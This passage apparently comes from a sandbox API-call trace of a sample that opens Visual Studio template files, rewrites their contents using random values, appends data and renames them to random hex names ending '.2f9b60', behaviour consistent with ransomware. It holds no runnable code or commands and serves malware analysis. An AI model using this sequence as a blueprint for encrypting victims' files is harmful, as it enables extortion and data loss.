8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfo.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfo.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xde0 [0228.220] GetFileSizeEx (in: hFile=0xde0, lpFileSize=0x1d97f840 | out: lpFileSize=0x1d97f840*=1170) returned 1 [0228.220] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x48e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.220] ReadFile (in: hFile=0xde0, lpBuffer=0x1d97f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d97f808, lpOverlapped=0x0 | out: lpBuffer=0x1d97f7c0*, lpNumberOfBytesRead=0x1d97f808*=0x4, lpOverlapped=0x0) returned 1 [0228.490] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20f0 [0228.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d10 [0228.490] NtQuerySystemTime (in: CurrentTime=0x1d97f700 | out: CurrentTime=0x1d97f700*=132462178324786000) returned 0x0 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x3225ccdb [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x6c82abc1 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x496f0538 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x227bfb8a [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x4831a11c [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x4c9b4596 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x4af8e2c9 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x39c0b0b [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x69f5319f [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0xe38279b [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x4a7549 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x401589f1 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x644befa7 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x27c36fe1 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x389738d6 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x7f4908b1 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x3a800d97 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x62f6a80e [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0xba79296 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x4c9b4596 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x1be9aa7 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x562be25d [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x3a800d97 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x1b4299a2 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x60992005 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x402cb6ae [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x73511d56 [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x344221ec [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0xf44409c [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x166270af [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x353bbf5c [0228.491] RtlRandomEx (in: Seed=0x1d97f6f0 | out: Seed=0x1d97f6f0) returned 0x77d749a6 [0228.500] ReadFile (in: hFile=0xde0, lpBuffer=0x4221a920, nNumberOfBytesToRead=0x492, lpNumberOfBytesRead=0x1d97f6f0, lpOverlapped=0x0 | out: lpBuffer=0x4221a920*, lpNumberOfBytesRead=0x1d97f6f0*=0x492, lpOverlapped=0x0) returned 1 [0228.500] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.500] WriteFile (in: hFile=0xde0, lpBuffer=0x42234d90*, nNumberOfBytesToWrite=0x492, lpNumberOfBytesWritten=0x1d97f6f4, lpOverlapped=0x0 | out: lpBuffer=0x42234d90*, lpNumberOfBytesWritten=0x1d97f6f4*=0x492, lpOverlapped=0x0) returned 1 [0233.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0233.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dbd0 [0233.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dbd0) returned 1 [0233.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42234d90) returned 1 [0233.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221a920) returned 1 [0233.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cc40) returned 1 [0233.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0233.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0030 [0233.389] SetFilePointerEx (in: hFile=0xde0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.389] WriteFile (in: hFile=0xde0, lpBuffer=0x42c14090*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x1d97f810, lpOverlapped=0x0 | out: lpBuffer=0x42c14090*, lpNumberOfBytesWritten=0x1d97f810*=0x112, lpOverlapped=0x0) returned 1 [0235.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39b0 [0235.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a39b0) returned 1 [0235.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a39b0 [0235.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2300 [0235.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1cd0 [0235.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1cd0) returned 1 [0235.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b70 [0235.803] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="76") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="45") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="48") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="76") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="19") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="97") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="a5") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="db") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="98") returned 2 [0235.803] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="58") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="45") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="ba") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="89") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="57") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="9f") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="bf") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97bac, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.804] sprintf (in: _Dest=0x1cd97bae, _Format="%c%c" | out: _Dest="df") returned 2 [0235.804] RtlInitAnsiString (in: DestinationString=0x1d97f888, SourceString="7d5e764c454876199d97fbd9aaa5db9e9858a1455eba0d8957fa9f6ebf9dabdf" | out: DestinationString="7d5e764c454876199d97fbd9aaa5db9e9858a1455eba0d8957fa9f6ebf9dabdf") [0235.804] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d97f858, SourceString="7d5e764c454876199d97fbd9aaa5db9e9858a1455eba0d8957fa9f6ebf9dabdf", AllocateDestinationString=1 | out: DestinationString="7d5e764c454876199d97fbd9aaa5db9e9858a1455eba0d8957fa9f6ebf9dabdf") returned 0x0 [0235.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43155020 [0235.805] wcscat (in: _Dest=0x423ab0a0, _Source="7d5e764c45487619" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7d5e764c45487619") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7d5e764c45487619" [0235.805] wcscat (in: _Dest=0x423ab0a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7d5e764c45487619.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7d5e764c45487619.2f9b60" [0235.805] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7d5e764c45487619.2f9b60", NtPathName=0x1d97f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\7d5e764c45487619.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x431a93e0 Thread: id = 3781 os_tid = 0x1ea8 [0227.626] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip")) returned 0x20 [0228.221] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip", dwFileAttributes=0x20) returned 1 [0228.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a24 [0228.223] GetFileSizeEx (in: hFile=0x2a24, lpFileSize=0x22effc80 | out: lpFileSize=0x22effc80*=1250) returned 1 [0228.223] SetFilePointerEx (in: hFile=0x2a24, liDistanceToMove=0x4de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.223] ReadFile (in: hFile=0x2a24, lpBuffer=0x22effc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22effc48, lpOverlapped=0x0 | out: lpBuffer=0x22effc00*, lpNumberOfBytesRead=0x22effc48*=0x4, lpOverlapped=0x0) returned 1 [0228.525] SetFilePointerEx (in: hFile=0x2a24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5180 [0228.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fe0 [0228.526] NtQuerySystemTime (in: CurrentTime=0x22effb40 | out: CurrentTime=0x22effb40*=132462178325254000) returned 0x0 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x308a4bb5 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x4aca15aa [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0xcc28287 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x7ac3c0a1 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x51707db0 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x387f3909 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x7ec6f360 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x448894ea [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x4a7549 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x7e7c4cc8 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x4e4a47cc [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x4b75171d [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x552850a5 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x62f6a80e [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x62455ba2 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x603c299d [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x31423300 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0xa526c11 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x2535091e [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x5e6e4f08 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x62ff0b1d [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x3172fc00 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x4f8ef8d4 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x48650cf8 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x2e119ca7 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x1551325c [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x327b7e5b [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x32a541e [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0xf7260c9 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x1551325c [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x3ae563e0 [0228.526] RtlRandomEx (in: Seed=0x22effb30 | out: Seed=0x22effb30) returned 0x158e4faf [0228.534] ReadFile (in: hFile=0x2a24, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0x4e2, lpNumberOfBytesRead=0x22effb30, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x22effb30*=0x4e2, lpOverlapped=0x0) returned 1 [0228.534] SetFilePointerEx (in: hFile=0x2a24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.534] WriteFile (in: hFile=0x2a24, lpBuffer=0x41e62d00*, nNumberOfBytesToWrite=0x4e2, lpNumberOfBytesWritten=0x22effb34, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesWritten=0x22effb34*=0x4e2, lpOverlapped=0x0) returned 1 [0233.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f430 [0233.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9e0 [0233.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e9e0) returned 1 [0233.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0233.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0233.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c9c0) returned 1 [0233.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0233.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1ce617e0 [0233.421] SetFilePointerEx (in: hFile=0x2a24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.421] WriteFile (in: hFile=0x2a24, lpBuffer=0x42c20090*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x22effc50, lpOverlapped=0x0 | out: lpBuffer=0x42c20090*, lpNumberOfBytesWritten=0x22effc50*=0x122, lpOverlapped=0x0) returned 1 [0235.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b50 [0235.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b50) returned 1 [0235.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431adce0 [0235.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b50 [0235.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d30 [0235.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d30) returned 1 [0235.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x4310e870 [0235.864] sprintf (in: _Dest=0x4310e870, _Format="%c%c" | out: _Dest="97") returned 2 [0235.864] sprintf (in: _Dest=0x4310e872, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.864] sprintf (in: _Dest=0x4310e874, _Format="%c%c" | out: _Dest="ec") returned 2 [0235.864] sprintf (in: _Dest=0x4310e876, _Format="%c%c" | out: _Dest="da") returned 2 [0235.865] sprintf (in: _Dest=0x4310e878, _Format="%c%c" | out: _Dest="14") returned 2 [0235.865] sprintf (in: _Dest=0x4310e87a, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.865] sprintf (in: _Dest=0x4310e87c, _Format="%c%c" | out: _Dest="1b") returned 2 [0235.865] sprintf (in: _Dest=0x4310e87e, _Format="%c%c" | out: _Dest="a9") returned 2 [0235.865] sprintf (in: _Dest=0x4310e880, _Format="%c%c" | out: _Dest="16") returned 2 [0235.865] sprintf (in: _Dest=0x4310e882, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.865] sprintf (in: _Dest=0x4310e884, _Format="%c%c" | out: _Dest="99") returned 2 [0235.865] sprintf (in: _Dest=0x4310e886, _Format="%c%c" | out: _Dest="54") returned 2 [0235.865] sprintf (in: _Dest=0x4310e888, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.865] sprintf (in: _Dest=0x4310e88a, _Format="%c%c" | out: _Dest="d1") returned 2 [0235.865] sprintf (in: _Dest=0x4310e88c, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.865] sprintf (in: _Dest=0x4310e88e, _Format="%c%c" | out: _Dest="07") returned 2 [0235.865] sprintf (in: _Dest=0x4310e890, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.865] sprintf (in: _Dest=0x4310e892, _Format="%c%c" | out: _Dest="ae") returned 2 [0235.865] sprintf (in: _Dest=0x4310e894, _Format="%c%c" | out: _Dest="55") returned 2 [0235.865] sprintf (in: _Dest=0x4310e896, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.865] sprintf (in: _Dest=0x4310e898, _Format="%c%c" | out: _Dest="ea") returned 2 [0235.865] sprintf (in: _Dest=0x4310e89a, _Format="%c%c" | out: _Dest="24") returned 2 [0235.865] sprintf (in: _Dest=0x4310e89c, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.865] sprintf (in: _Dest=0x4310e89e, _Format="%c%c" | out: _Dest="11") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8a0, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8a2, _Format="%c%c" | out: _Dest="97") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8a4, _Format="%c%c" | out: _Dest="ec") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8a6, _Format="%c%c" | out: _Dest="0a") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8a8, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8aa, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8ac, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8ae, _Format="%c%c" | out: _Dest="55") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8b0, _Format="%c%c" | out: _Dest="3f") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8b2, _Format="%c%c" | out: _Dest="a2") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8b4, _Format="%c%c" | out: _Dest="0c") returned 2 [0235.865] sprintf (in: _Dest=0x4310e8b6, _Format="%c%c" | out: _Dest="48") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8b8, _Format="%c%c" | out: _Dest="ab") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8ba, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8bc, _Format="%c%c" | out: _Dest="10") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8be, _Format="%c%c" | out: _Dest="9c") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8c0, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8c2, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8c4, _Format="%c%c" | out: _Dest="67") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8c6, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8c8, _Format="%c%c" | out: _Dest="70") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8ca, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8cc, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.866] sprintf (in: _Dest=0x4310e8ce, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.866] RtlInitAnsiString (in: DestinationString=0x22effcc8, SourceString="97abecda14b01ba9166d99544fd1b307b5ae55cfea244c111d97ec0af0b02c553fa20c48abf3109cd92d671d703a9ee0" | out: DestinationString="97abecda14b01ba9166d99544fd1b307b5ae55cfea244c111d97ec0af0b02c553fa20c48abf3109cd92d671d703a9ee0") [0235.866] RtlAnsiStringToUnicodeString (in: DestinationString=0x22effc98, SourceString="97abecda14b01ba9166d99544fd1b307b5ae55cfea244c111d97ec0af0b02c553fa20c48abf3109cd92d671d703a9ee0", AllocateDestinationString=1 | out: DestinationString="97abecda14b01ba9166d99544fd1b307b5ae55cfea244c111d97ec0af0b02c553fa20c48abf3109cd92d671d703a9ee0") returned 0x0 [0235.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205f9e0 [0235.867] wcscat (in: _Dest=0x1b78e280, _Source="97abecda14b01ba9166d9954" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\97abecda14b01ba9166d9954") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\97abecda14b01ba9166d9954" [0235.867] wcscat (in: _Dest=0x1b78e280, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft 